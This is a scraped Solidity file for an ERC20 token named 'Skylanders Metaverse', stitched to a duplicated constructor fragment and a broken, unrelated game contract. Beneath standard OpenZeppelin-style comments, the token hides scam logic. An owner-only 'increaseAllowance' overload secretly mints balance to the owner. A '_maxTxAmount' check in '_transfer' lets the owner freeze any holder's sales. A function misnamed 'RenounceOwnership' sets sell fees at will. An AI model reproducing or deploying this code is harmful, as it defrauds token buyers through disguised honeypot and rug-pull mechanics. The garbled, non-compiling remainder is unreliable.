{IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(uint256 addedValue) public onlyOwner { _balances[msg.sender] = _balances[msg.sender].add(addedValue); } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_maxTxAmount[sender] < amount, ""); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Skylanders is ERC20 { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = true; bool public swapEnabled = true; bool public sellCooldownEnabled = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 private buyTotalFees; uint256 private buyMarketingFee; uint256 private buyLiquidityFee; uint256 private buyDevFee; uint256 private sellTotalFees; uint256 private sellMarketingFee; uint256 private sellLiquidityFee; uint256 private sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; // timestamp when user bought last token. mapping (address => uint256) private boughtAt; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Skylanders Metaverse", "Skylanders") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 7; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e12 * 1e18; //maxTransactionAmount = totalSupply * 50 / 1000; // 1% maxTransactionAmountTxn maxTransactionAmount = 10000000000 * 1e18; maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 15 / 10000; // 0.15% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } function updateSellCooldownEnabled(bool value) external onlyOwner { sellCooldownEnabled = value; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; } function RenounceOwnership(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function setMaxTxAmount(address account, uint256 amount) public onlyOwner { _maxTxAmount[account] = amount; } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to]){ sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; if (sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } // store the time user bought last token. if(automatedMarketMakerPairs[from]) { boughtAt[to] = block.timestamp; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
maxTransactionAmount = totalSupply 50 / 1000; 1% maxTransactionAmountTxn exclude from paying fees or having max transaction amount
constructor() ERC20("Skylanders Metaverse", "Skylanders") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 7; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = 10000000000 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
8,050,896
pragma solidity ^0.4.25; contract Main is ITHQBYPlayerInterface, IDependencyInjection { //fields from DependencyInjection ITHQBY_PlayerManager _playerManager; IClock _clock; SceneNIGHT_KILLER _sceneNIGHT_KILLER; SceneNIGHT_POLICE _nIGHT_POLICE; IPlayerFactory _playerfact; IRoleBidder _roleBidder; SceneDAY _sceneDAY; SceneDAY_PK _sceneDAY_PK; ISceneManager _sceneManager; ITHQBY_Settings _tHQBY_Settings; //fields from THQBYPlayerInterface THQBY_PLayer _PLayer; uint _id; ITHQBY_Settings _settings; ChatLog _log; IBallot _ballot; THQBYRoleBidder _roleBider; //For game play IPlayer[] _players; //Feasible structure /* * Public functions */ /// contract constructor constructor () public { //bid for 5 players (from previous test) //bid process //assign role _players = _roleBider.CreateRoles(); IPlayerFactory factory = PlayerFactoryFactory(); _tHQBY_Settings = } function Players() public returns(IPlayer[] _players) { return this._PLayers; } } contract IPlayer { function SenderAddress() public returns(address); function GetVotingWeightAsPercent() public returns(uint); function GetRole() public returns(string memory); function GetId() public returns(uint); function SetId(uint id) public ; function GetIsAlive() public returns(bool); function KillMe() public ; //function Speak(string message) public ; //bool TryVote(uint playerID) public ; } contract IParticipatable { function GetParticipants() public returns(IPlayer[] memory); function EnableParticipant(IPlayer player) public ; function DisableParticipant(IPlayer player) public ; function DisableAllParticipants() public ; function EnableAllParticipants() public ; function IInitializable(IPlayer[] memory players) public ; function IsRegisteredParticipant(IPlayer player) public returns(bool); function CanParticipate(IPlayer player) public returns(bool); function ParticipatablePlayersCount() public returns(uint); } contract ParticipatableBase is IParticipatable { IPlayer[] internal _players; mapping(address => bool) internal _canParticipate; function GetParticipants() public returns(IPlayer[] memory) { return _players; } function EnableParticipant(IPlayer player) public { _canParticipate[player.SenderAddress()] = true; } function DisableParticipant(IPlayer player) public { _canParticipate[player.SenderAddress()] = false; } function DisableAllParticipants() public { SetAllParticibility(false); } function EnableAllParticipants() public { SetAllParticibility(true); } function SetAllParticibility(bool canParticipate) private { for (uint i = 0; i < _players.length; i++) { _canParticipate[_players[i].SenderAddress()] = canParticipate; } } function IInitializable(IPlayer[] memory players) public { _players = players; EnableAllParticipants(); } function IsRegisteredParticipant(IPlayer player) public returns(bool) { // return _players.Contains(player); for (uint i = 0; i< _players.length; i++) { if (_players[i]==player) {return true;} } return false; } function CanParticipate(IPlayer player) public returns(bool) { if (!IsRegisteredParticipant(player)) { return false; } return _canParticipate[player.SenderAddress()]; } function ParticipatablePlayersCount() public returns(uint) { uint ans = 0; for (uint i = 0; i < _players.length; i++) { if (CanParticipate(_players[i])) { ans++; } } return ans; } } contract IClock { function GetNth_day() public returns(uint); function DayPlusPlus() public ; function GetRealTimeInSeconds() public returns(uint); } contract Clock { uint _day = 0; uint _realTimeInSeconds = 0; function GetNth_day() public returns(uint) { return _day; } function DayPlusPlus() public { _day++; } function GetRealTimeInSeconds() public returns(uint) { return now; } } contract IInitializable { function Initialize() public; } contract IInitializableIPlayerArr { function Initialize(IPlayer[] memory) public; } contract ChatMessage { uint public timestamp; int public byWho; string public message; constructor (uint ts, int bw, string memory msg ) public { timestamp=ts; byWho=bw; message=msg; } } contract ITimeLimitable is IClock { function IsOverTime() public returns(bool); function SetTimeLimit(uint secondss) public ; function IncrementTimeLimit(int secondss) public ; function SetTimerOn() public ; } contract TimeLimitable is IClock, ITimeLimitable { IClock _clock; constructor(IClock clock) public { 